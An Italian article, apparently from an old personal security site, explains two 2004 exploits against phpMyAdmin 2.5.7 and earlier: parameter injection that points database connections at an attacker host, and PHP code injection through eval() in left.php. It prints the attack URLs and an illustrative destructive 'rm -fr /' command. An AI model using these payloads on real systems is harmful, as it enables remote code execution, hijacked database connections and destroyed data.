Banner Shishii
Pagina aggiornata il:  22/01/2005 12:12

Pagina Stampabile     Pagina Stampabile

Due potenti exploit contro phpMyAdmin


Il 29/06/04 su securityfocus viene pubblicato un advisor di un hacker indonesiano che annuncia e spiega due exploit contro il noto phpMyAdmin, una suite di script per l'amministrazione del RDBMS "MySQL". Questi exploit consentono ad un attaccante di modificare le impostazioni di connessione al database e di fare eseguire su un server remoto, che ha istallato phpMyAdmin in versione uguale o inferiore a 2.5.7, codice php arbitrario, che girerà con i diritti dell'utente del webserver (immaginate cosa possa significare se lo stesso gira con i diritti di root).

Il primo exploit

Consente ad un utente registrato di modificare i parametri di connessione al server phpmyadmin host, user, password, ecc. Ciò è possibile per questi motivi:

1.1

Le configurazioni sono conservate nel file config.inc.php tramite un array tridimensionale:

$cfg['Servers'][$i]['parametro'] =

la chiave 'Server' definisce l'ambito di azione dei valori, la chiave '$i' definisce il numero progressivo di set di parametri validi, la chiave 'parametro' definisce di quale paramtro di configurazione si tratta (password, host, ecc).

1.2

Questo array non è inizializzato e nel corso del funzionamento del programma non vengono fatti controlli sulle sue dimansioni, per cui se si aggiunge un nuovo set di parametri, incrementando '$i', il programma non se accorge.

1.3

E' possibile quindi passare un URL del genere:

http://server/phpMyAdmin-2.5.7/left.php?
server=4
&cfg[Servers][4][host]=attacker.host.com
&cfg[Servers][4][port]=8889
&cfg[Servers][4][auth_type]=config
&cfg[Servers][4][user]=user
&cfg[Servers][4][password]=pass
&cfg[Servers][4][connect_type]=tcp
&cfg[Servers][4][only_db]=databasename 

che modificherà i parametri di connessione.

IL SECONDO EXPLOIT

2.1

Nel file left.php è contenuto il seguente codice:

$eval_string = '$tablestack[\'' 
               . implode('\'][\'', $_table) 
               . '\'][\'pma_name\'][] = \'' 
               . str_replace('\'', '\\\'', $table) 
               . '\';';

$eval_string .= '$tablestack[\'' 
                . implode('\'][\'', $_table) 
                . '\'][\'pma_list_item\'][] = \'' 
                . str_replace('\'', '\\\'', $list_item) 
                . '\';';

eval($eval_string);

che utilizza la funzione eval() di php la quale traduce in codice php eseguibile delle semplici stringhe, questo consente, ad esempio, di eseguire del codice che venisse passato come argomento da linea di comando:

> php script_con_eval.php "echo \"Ciao\";"

se lo script inserisce come argomento della funzione eval() il parametro passato dallo STDIN lo eseguirà e scriverà "Ciao". E' intuibile che però io potrei anche scrivere:

> php script_con_eval.php "exec(\"rm -fr /\");"

è quindi evidente che qualunque cosa venga fornita ad eval va parsata con la massima attenzione. Invece...

2.2

Il valore della variabile $table è raccolto direttamente dalla query string!!
E il parsing effettuato è insufficiente in quanto non tiene conto dei meta-caratteri.
Per cui, se si passa in modo adeguato:

http://server/phpMyAdmin-2.5.7/left.php?
table=\';exec(\"touch /tmp/touchable\");/*

succederà che verrà creato un file /tmp/touchable.
Ovviamente la stringa non si può inviare in maniera bruta come fatto sopra, ma serve a rendere l'idea.

2.3

Se la variabile $cfg['LeftFrameLight'] in config.inc.php è settata a FALSE la stringa passata sopra verrà eseguita, l'attaccante leggerà a schermo:

<Nome del database>
Warning: Unterminated comment starting...
Exploit riuscito
dovuto ai caratteri "/*" alla fine della stringa che servono a non fare generare qualche errore fatale.

Se invece $cfg['LeftFrameLight'] in config.inc.php è settata a TRUE la stringa non verrà eseguite, in quanto il blocco di codice che contiene eval() verrà saltato e a schermo si leggerà:

<Nome database>
\';exec(\"touch /tmp/touchable\");/*
Exploit mancato

Concludendo sul sito ufficiale di phpMyAdmin si legge una lamentela per il fatto che non sarebbe stata rispettata la convenzione etica per cui l'hacker che scopre un bug lo segnala al responsabile ed aspetta il tempo necessario a provvedere, per pubblicare la notizia. Io non so se ciò è vero, però devo dire che analizzando il codice di phpMyAdmin si nota subito molto disordine, codice html e php mischiato, pochi commenti, un albero dei file inclusi diffile da scorrere per seguire la vita di una variabile, in definitiva si può dire che "se la sono un pò cercata".

PS:
In rete esiste il codice in C per l'exploit... e funziona :)


Indice del sito